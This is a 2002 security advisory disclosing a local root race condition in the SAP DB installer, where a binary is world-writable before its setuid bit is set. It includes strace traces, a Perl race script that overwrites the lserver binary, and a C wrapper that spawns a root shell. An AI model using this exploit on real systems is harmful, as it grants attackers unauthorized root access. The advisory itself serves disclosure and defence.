======SAP Database Local Root Vulnerability During Installation====== //December 10, 2002//
**I. BACKGROUND**
SAP DB is a Free Enterprise database (http://www.sapdb.org). An exploitable race condition exists during installation that can be won to yield root to a local malicous user. An executable is world writeable before a setuid bit is set by the installation program. This condition exists for both the production version 7.3.0.29 and the beta version 7.4.3.7 beta (www.sapdb.org/tgz_linux.htm).
**II. DESCRIPTION**
Installation of the SAP database is done by the binary SDBINST. This first uncompresses the files, changes permissions and then runs a file integrity check. Once this check is completed setuid bits are added to two files. A large gap between this check and the setuid operation exists (a few seconds at i least). This gives us ample time to change the contents of the pre-setuid file.
For the production 7.3.0.29 version:
Before the setuid root bit is set, a log file is written to that a normal non-privilidged user can read. This file was located in /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/. We simply watch that file for what is written to it just before the call to chmod and copy our malicious code over the target binary.
Below is a partial analysis of SDBINST.
chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0
.
open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a8$O_WRONLY|O_CREAT|O_TRUNC,
0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
fcntl64(0x3, 0x2, 0x1, 0x401a6ce0) = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x40024000
write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096
write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096
chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0
For the Beta 7.4.3.7 version:
All of the files are checked for data integrity before the setuid bit is set, the installation no longer writes to a log file during this operation. It appears that just before the setuid bit is set a directory is created /opt/sapdb/depend/wrk. It proved more difficult to win the race using this directory creation as an indicator to copy our file over. I was able to win the race with a timed copy after the last file had been written from the archive and just before the integrity check had finished.
Below is an analysis of the installation program SDBRUN.
.
20224 stat64("/opt/sapdb/depend/wrk", 0x8150c20) = -1 ENOENT (No such file or directory) 20224 stat64("/opt/sapdb/depend", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 020224 mkdir("/opt/sapdb/depend/wrk", 0775) = 0 20224 chmod("/opt/sapdb/depend/wrk", 0775) = 0 20224 stat64("/opt/sapdb/depend/wrk", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 20224 chown32(0x872b640, 0x5456, 0x5456) = 0 20224 chown32(0x88c3f88, 0, 0x5456) = 0 20224 chmod("/opt/sapdb/depend/pgm/dbmsrv", 04775) = 0 20224 chown32(0x88c4870, 0, 0x5456) = 0 20224 chmod("/opt/sapdb/depend/pgm/lserver", 04775) = 0
**III. ANALYSIS**
Local attackers can exploit this vulnerability to gain root access on a targeted system. The attacker would have needed previous knowledge of the system administrators SAP installation. To exploit the 7.4 beta version of this software an attacker would need to have a good idea of the target systems hardware type and speed.
**IV. EXPLOIT**
<code perl>
#!/bin/perl
while (1) {
$test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;
if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}
}
</code>
The code we would rather have in place is:
---- run.c -----
<code c>
/*##Larry W. Cashdollar, lwc@vapid.dhs.org *##This is just a wrapper to boost our privs from euid(0) to uid(0) guid(0 */
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n");
else
{
printf ("Ack, We lost the race.\n");
_exit (0);
}
setregid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}
</code>
------ run.c --------
**V. DETECTION**
sapdb-server-linux-32bit-i386-7_3_0_29, sapdb-all-linux-32bit-i386-7_4_3_7 are the versions I used.
**VI. WORKAROUND**
Boot the system into single user mode only and ensure no other users are logged in during installation.
**VII. VENDOR FIX**
The vendor was never notified, and this issue was fixed in the latest release.
**VII. CVE INFORMATION**
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has not assigned an identification number to this issue.
**VIII. DISCLOSURE TIMELINE**
12/09/2002 Issue disclosed to iDEFENSE
**IX. CREDIT**
Larry W. Cashdollar (http://vapid.dhs.org) discovered this vulnerability.